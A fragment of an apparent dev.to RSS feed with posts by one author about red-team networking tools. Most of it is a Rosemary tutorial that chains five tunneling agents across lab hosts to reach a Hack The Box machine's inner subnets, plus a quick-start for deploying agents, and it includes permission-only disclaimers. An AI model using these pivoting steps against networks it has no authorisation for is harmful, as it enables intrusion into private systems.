&lt;li&gt;support for workflows such as scan, SMB, LDAP, Kerberos, WinRM, GPO, secrets, DCSync, SOCKS pivoting, and proxy-aware enumeration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Docs:&lt;/strong&gt;&lt;br&gt;
  &lt;a href="https://docs.nimux.wiki/mcp-integration" rel="noopener noreferrer"&gt;https://docs.nimux.wiki/mcp-integration&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Release:&lt;/strong&gt;&lt;br&gt;
  &lt;a href="https://github.com/blue0x1/nimux/releases/tag/v1.0.2" rel="noopener noreferrer"&gt;https://github.com/blue0x1/nimux/releases/tag/v1.0.2&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>nim</category>
      <category>redteam</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Rosemary: Multi-Hop Pivoting Tutorial</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Fri, 10 Jul 2026 06:59:34 +0000</pubDate>
      <link>https://dev.to/blue0x1/rosemary-multi-hop-pivoting-tutorial-5bjk</link>
      <guid>https://dev.to/blue0x1/rosemary-multi-hop-pivoting-tutorial-5bjk</guid>
      <description>&lt;p&gt;Learn how to chain multiple Rosemary agents to reach deeply nested networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Multi-hop pivoting allows you to reach networks that are several layers deep. Each agent connects through the previous one, forming a chain that extends your reach hop by hop.&lt;/p&gt;

&lt;p&gt;Because the agent transport now runs over QUIC/UDP on port 2048, every link in the chain is a UDP forward to the previous hop's agent port (2048), not a TCP forward to the dashboard.&lt;/p&gt;

&lt;p&gt;In this tutorial, you will chain 5 agents across different operating systems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;FreeBSD (Server)&lt;/li&gt;
&lt;li&gt;Windows (Agent)&lt;/li&gt;
&lt;li&gt;macOS (Agent)&lt;/li&gt;
&lt;li&gt;Linux (Agent)&lt;/li&gt;
&lt;li&gt;Linux (Agent)&lt;/li&gt;
&lt;li&gt;HTB Machine (Agent)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Network Topology&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Server]         [Agent 2]        [Agent 4→6]      [Agent 8]         [Agent 12]        [Agent 14]
FreeBSD           Windows          macOS             Linux             Linux             HTB Machine
172.16.54.186     172.16.54.0/24   172.16.126.0/24  172.14.1.0/24     172.16.19.0/24    172.20.1.0/24
                  1025/udp ──────► 1026/udp ──────► 1027/udp ──────► 1028/udp ──────► 192.168.3.0/24
                                                                                        10.10.10.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step-by-Step&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Start Server (FreeBSD)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; ./rosemary-freebsd-amd64
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="err"&gt;Server&lt;/span&gt; &lt;span class="err"&gt;login&lt;/span&gt; &lt;span class="py"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs=&lt;/span&gt;
&lt;span class="err"&gt;Server&lt;/span&gt; &lt;span class="py"&gt;IPs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;[172.16.54.186]&lt;/span&gt;
&lt;span class="py"&gt;Dashboard&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://0.0.0.0:1024&lt;/span&gt;
&lt;span class="err"&gt;Agent&lt;/span&gt; &lt;span class="err"&gt;transport&lt;/span&gt; &lt;span class="err"&gt;(QUIC):&lt;/span&gt; &lt;span class="py"&gt;0.0.0.0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;2048/udp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2: Agent 2 - Windows (Direct to Server)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./agent-windows-amd64.exe &lt;span class="nt"&gt;-s&lt;/span&gt; 172.16.54.186:2048 &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nv"&gt;1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Agent agent-2 connected with subnets: [172.16.126.0/24 172.16.54.0/24]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Create Forward for Hop 1 (Server → Windows → macOS)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rosemary&amp;gt; forward add 1025 agent-2 172.16.54.186 2048 udp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes the Windows agent listen on UDP port 1025 and forward QUIC datagrams to the server's agent transport on 2048/udp.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Agent 4 → 6 - macOS (Through Windows)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./agent-darwin-amd64 &lt;span class="nt"&gt;-s&lt;/span&gt; 172.16.126.135:1025 &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nv"&gt;1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Agent agent-4 connected with subnets: [172.16.126.0/24]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5: Reconnect Agent to Discover More Subnets&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rosemary&amp;gt; reconnect agent-4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[-] Agent agent-4 disconnected and removed.
[+] Agent agent-6 connected with subnets: [172.16.126.0/24 172.14.1.0/24]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 6: Create Forward for Hop 2 (Server → Windows → macOS → Linux)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rosemary&amp;gt; forward add 1026 agent-6 172.16.126.135 1025 udp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 7: Agent 8 - Linux (Through macOS)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./agent-linux-amd64 &lt;span class="nt"&gt;-s&lt;/span&gt; 172.14.1.132:1026 &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nv"&gt;1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Agent agent-8 connected with subnets: [172.14.1.0/24 172.16.19.0/24]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 8: Create Forward for Hop 3 (Server → Windows → macOS → Linux → Linux)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rosemary&amp;gt; forward add 1027 agent-8 172.14.1.132 1026 udp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 9: Agent 12 - Second Linux (Through First Linux)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./agent-linux-amd64 &lt;span class="nt"&gt;-s&lt;/span&gt; 172.16.19.136:1027 &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nv"&gt;1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Agent agent-12 connected with subnets: [192.168.1.0/24 172.17.0.0/16 172.16.54.0/24 ...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 10: Create Forward for Hop 4 (Server → ... → HTB Machine)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rosemary&amp;gt; forward add 1028 agent-12 172.16.19.136 1027 udp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 11: Agent 14 - HTB Machine (Final Hop)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./agent-linux-amd64 &lt;span class="nt"&gt;-s&lt;/span&gt; 10.10.14.72:1028 &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nv"&gt;1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Agent agent-14 connected with subnets: [172.20.1.0/24 192.168.3.0/24 10.10.10.0/24]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 12: Access Deepest Network&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From the server (FreeBSD), you can now directly access the HTB machine's internal networks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://192.168.3.1/login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Success! The router login page from 5 hops away loads directly on the server.&lt;/p&gt;

&lt;p&gt;Accessing through web browser&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F54grjzfv4mjuq0aryt50.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F54grjzfv4mjuq0aryt50.png" alt="accessing browser" width="768" height="294"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Rosemary dashboard graph view automatically lays out all connected agents and their subnet relationships. After completing the 5-hop chain, the graph shows all hops.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsggg4ulmvrruxzkhm09l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsggg4ulmvrruxzkhm09l.png" alt="rosemary graph" width="768" height="380"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Complete Forward Chain&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hop&lt;/th&gt;
&lt;th&gt;Agent&lt;/th&gt;
&lt;th&gt;OS&lt;/th&gt;
&lt;th&gt;Listen Port&lt;/th&gt;
&lt;th&gt;Target&lt;/th&gt;
&lt;th&gt;Proto&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;agent-2&lt;/td&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;1025&lt;/td&gt;
&lt;td&gt;Server:2048&lt;/td&gt;
&lt;td&gt;udp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;agent-6&lt;/td&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;1026&lt;/td&gt;
&lt;td&gt;172.16.126.135:1025&lt;/td&gt;
&lt;td&gt;udp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;agent-8&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;1027&lt;/td&gt;
&lt;td&gt;172.14.1.132:1026&lt;/td&gt;
&lt;td&gt;udp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;agent-12&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;1028&lt;/td&gt;
&lt;td&gt;172.16.19.136:1027&lt;/td&gt;
&lt;td&gt;udp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;agent-14&lt;/td&gt;
&lt;td&gt;Linux (HTB)&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;Direct to server chain&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Verification&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rosemary&amp;gt; agents
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All 5 agents connected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ID         OS       Subnets
agent-2    windows  172.16.126.0/24, 172.16.54.0/24
agent-6    darwin   172.16.126.0/24, 172.14.1.0/24
agent-8    linux    172.14.1.0/24, 172.16.19.0/24
agent-12   linux    192.168.1.0/24, 172.17.0.0/16, ...
agent-14   linux    172.20.1.0/24, 192.168.3.0/24, 10.10.10.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Points&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Each hop uses &lt;code&gt;forward add ... udp&lt;/code&gt; to chain QUIC traffic to the next agent's transport port.&lt;/li&gt;
&lt;li&gt;The first hop targets the server's agent transport on &lt;code&gt;2048/udp&lt;/code&gt;; every subsequent hop targets the previous hop's listen port.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;reconnect&lt;/code&gt; forces subnet re-discovery when an agent has multiple interfaces.&lt;/li&gt;
&lt;li&gt;Traffic flows transparently through all hops over QUIC.&lt;/li&gt;
&lt;li&gt;The final agent (HTB machine) provides access to &lt;code&gt;192.168.3.0/24&lt;/code&gt; and &lt;code&gt;10.10.10.0/24&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Rosemary is open-source under GPL-3.0. Use only on systems you own or have explicit permission to test.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>networking</category>
    </item>
    <item>
      <title>Rosemary: Transparent Network Tunneling Over QUIC (Kernel-Level)</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Fri, 10 Jul 2026 06:42:18 +0000</pubDate>
      <link>https://dev.to/blue0x1/rosemary-2p86</link>
      <guid>https://dev.to/blue0x1/rosemary-2p86</guid>
      <description>&lt;p&gt;&lt;strong&gt;Rosemary: Transparent Network Tunneling Over QUIC (Kernel-Level)&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;Ever SSH into a box and wish you could just &lt;em&gt;use&lt;/em&gt; its network without setting up proxy chains or VPNs? Rosemary makes that happen. The server intercepts traffic at the kernel level (no proxy settings, no TUN devices) and tunnels it over encrypted QUIC through a lightweight agent on the remote host. From your laptop, &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;ping&lt;/code&gt;, or your browser reach private subnets as if you were there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you get&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kernel-level packet interception, transparent to all your apps
&lt;/li&gt;
&lt;li&gt;TCP, UDP, ICMP, and DNS just work without configuration
&lt;/li&gt;
&lt;li&gt;Route all internet traffic through a chosen agent (egress)
&lt;/li&gt;
&lt;li&gt;SOCKS5 proxies, port forwards, and reverse forwards per agent
&lt;/li&gt;
&lt;li&gt;Multi-hop pivoting through several agents
&lt;/li&gt;
&lt;li&gt;Web dashboard with real-time agent graph
&lt;/li&gt;
&lt;li&gt;Full REST API for automation
&lt;/li&gt;
&lt;li&gt;Works on Linux, Windows, macOS, FreeBSD, and OpenBSD
&lt;/li&gt;
&lt;li&gt;Agents run without root; traffic is AES-256-GCM encrypted over QUIC
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Quick start&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# install (requires Go)&lt;/span&gt;
go &lt;span class="nb"&gt;install &lt;/span&gt;github.com/blue0x1/rosemary/rosemary@latest
go &lt;span class="nb"&gt;install &lt;/span&gt;github.com/blue0x1/rosemary/agent@latest

&lt;span class="c"&gt;# start server (needs sudo for kernel interception)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;rosemary

&lt;span class="c"&gt;# deploy agent on remote box&lt;/span&gt;
./agent-linux-amd64 &lt;span class="nt"&gt;-s&lt;/span&gt; &amp;lt;server-ip&amp;gt;:2048 &lt;span class="nt"&gt;-k&lt;/span&gt; &amp;lt;your-key&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. Open &lt;code&gt;http://server-ip:1024&lt;/code&gt; and you'll see the agent's subnets automatically routed. Set a default egress agent to route all traffic through a jump host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;egress agent-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now your laptop behaves like it's on the remote network. No proxychains, no &lt;code&gt;ssh -D&lt;/code&gt;, no friction.&lt;/p&gt;

&lt;p&gt;Check the repo &lt;a href="https://github.com/blue0x1/rosemary" rel="noopener noreferrer"&gt;blue0x1/rosemary&lt;/a&gt; for pre-built binaries, PowerShell agents, and the full API. Use only on systems you own or have permission to test.&lt;/p&gt;

</description>
      <category>networking</category>
      <category>security</category>
    </item>
  </channel>
</rss>
